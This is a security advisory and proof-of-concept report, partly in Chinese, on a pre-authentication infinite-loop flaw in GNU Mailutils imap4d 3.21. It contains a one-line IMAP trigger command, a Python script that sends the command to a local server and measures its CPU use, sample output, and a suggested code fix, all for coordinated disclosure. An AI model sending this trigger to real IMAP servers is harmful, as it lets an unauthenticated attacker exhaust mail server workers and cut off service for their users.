Affected: GNU Mailutils 3.21 (latest, released 2025-08-31)
File: imap4d/io.c unquote() (~lines 396-423)
Severity: HIGH — unauthenticated, pre-login, single-command remote DoS
CWE: CWE-835 (Loop with Unreachable Exit Condition)
CVSS 3.1: 7.5 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Reporter: zhangph (afldl), independent security researcher
[email protected]
1. Summary
----------
unquote() locates backslashes with memchr(). When the byte following a
backslash is neither '\\' nor '"', the parser logs a "bad escape"
diagnostic but does NOT advance its scan position. The next memchr()
call therefore re-finds the same backslash and the loop never
terminates. A single IMAP command sent before authentication pins an
imap4d worker at 100% CPU indefinitely.
2. Trigger (pre-authentication)
-------------------------------
a001 ID ("name" "foo\bar")
^^^ backslash followed by 'b' (neither \ nor ")
Any byte after the backslash that is neither '\\' nor '"' reproduces it
(\b, \x, \@, ...). The ID command is valid before LOGIN, so no
credentials are required. Repeating across connections exhausts worker
process slots and keeps every worker permanently stuck.
3. Verified reproduction on the official imap4d binary (2026-06-15)
------------------------------------------------------------------
Built the shipped imap4d 3.21 (real ELF, untested-targets/mailutils-3.21/
imap4d/.libs/imap4d) and ran it in inetd mode; the command above pins the
worker at ~100% CPU with no response to subsequent commands. %CPU sampled
from the real imap4d PID after sending the trigger:
PID %CPU COMMAND
973731 56.0 imap4d
973731 108 imap4d
973731 80.0 imap4d
973731 106 imap4d
973731 88.3 imap4d
=> CPU pegged for 3+ s; subsequent a002 NOOP produces no response;
the worker must be killed.
Control: the valid escape `ID ("name" "foo\\bar")` returns
`a001 BAD ID Wrong state` within milliseconds, confirming the hang is
caused specifically by the bad-escape input. (Full reproduction script in
the attached PoC / pocs/mailutils-imap4d-unquote.md.)
4. Suggested fix
----------------
In the "bad escape" branch of unquote(), advance the scan pointer past
the backslash (and the offending byte) before continuing, e.g.:
else {
mu_diag_at_loc (...);
p += 2; /* skip '\\' and the bad byte */
}
5. Disclosure
-------------
Reported 2026-06-15. No prior public disclosure. Happy to coordinate a
fix and CVE; please advise on your preferred timeline.
6. Credits
----------
zhangph (afldl), independent security researcher.
# PoC: GNU Mailutils imap4d unquote() 无限循环 (预认证 DoS)
> 真实二进制验证 (2026-06-15)。目标 = 上游 mailutils-3.21 官方 imap4d,**非 wrapper**。
## 目标
- 软件: GNU Mailutils `imap4d`
- 版本: 3.21 (latest, released 2025-08-31)
- 文件: `imap4d/io.c` `unquote()` (~396-423)
- CWE-835 (Loop with Unreachable Exit Condition), 预认证远程 DoS
## 根因
`unquote()` 用 `memchr()` 找反斜杠。当反斜杠后跟的字节既不是 `\\` 也不是 `"` 时,
只记一条 "bad escape" 诊断,**不推进扫描指针**,下一次 `memchr()` 再次命中同一个反斜杠 → 死循环。
## 触发 (预认证, 无需凭据)
```
a001 ID ("name" "foo\bar")
^^^ 反斜杠 + 'b' (既非 \ 也非 ")
```
`ID` 在 LOGIN 之前合法,故无需认证。任何 `\<非\ 非">` 字节均可 (`\b` `\x` `\@` …)。
## 真实验证流程 (官方二进制)
```bash
cd untested-targets/mailutils-3.21
export LD_LIBRARY_PATH=$(find . -name '*.so*' | sed 's#/[^/]*$##' | sort -u | tr '\n' ':')
IMAP=$PWD/imap4d/.libs/imap4d # 真实 ELF, libtool .libs/ 下
# 喂入触发命令, 采样 CPU
python3 - <<'PY'
import subprocess,time,threading
p=subprocess.Popen(["$IMAP","--inetd","--no-site-config"], # 注: 替换为真实路径
stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
threading.Thread(target=lambda:[p.stdout.read(1) for _ in iter(int,1)],daemon=True).start()
time.sleep(0.3)
p.stdin.write(b'a001 ID ("name" "foo\\bar")\r\n'); p.stdin.flush()
for _ in range(6):
ps=subprocess.check_output(["ps","-eo","pid,%cpu,comm","--no-headers"]).decode()
for l in ps.splitlines():
if l.split()[0]==str(p.pid): print(l.strip())
time.sleep(0.5)
p.kill()
PY
```
## 真实输出 (2026-06-15, 真实 imap4d 3.21)
```
imap4d PID 973731
%CPU 采样:
973731 56.0 imap4d
973731 108 imap4d
973731 80.0 imap4d
973731 106 imap4d
973731 88.3 imap4d
=> CPU 持续 ≈100%, 后续 a002 NOOP 无响应, 进程须 kill
```
**对照组**: 合法转义 `ID ("name" "foo\\bar")` → 立即返回 `a001 BAD ID Wrong state`(秒级响应),
证明差异确由 bad-escape 引起, 非其他原因。
## 修复建议
"bad escape" 分支里推进指针跳过反斜杠:
```c
else { mu_diag_at_loc(...); p += 2; } /* 跳过 '\' 和非法字节 */
```
## 可提交性: ✅ 真 · 已验证。建议发 [email protected], Cc [email protected]。